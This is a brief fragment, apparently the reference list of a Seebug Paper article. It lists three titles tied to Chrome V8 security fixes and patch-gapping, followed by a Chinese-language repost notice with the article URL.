- Fix bug in receiver maps inference
- Security: Incorrect side effect modelling for JSCreate
- A EULOGY FOR PATCH-GAPPING CHROME
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1358/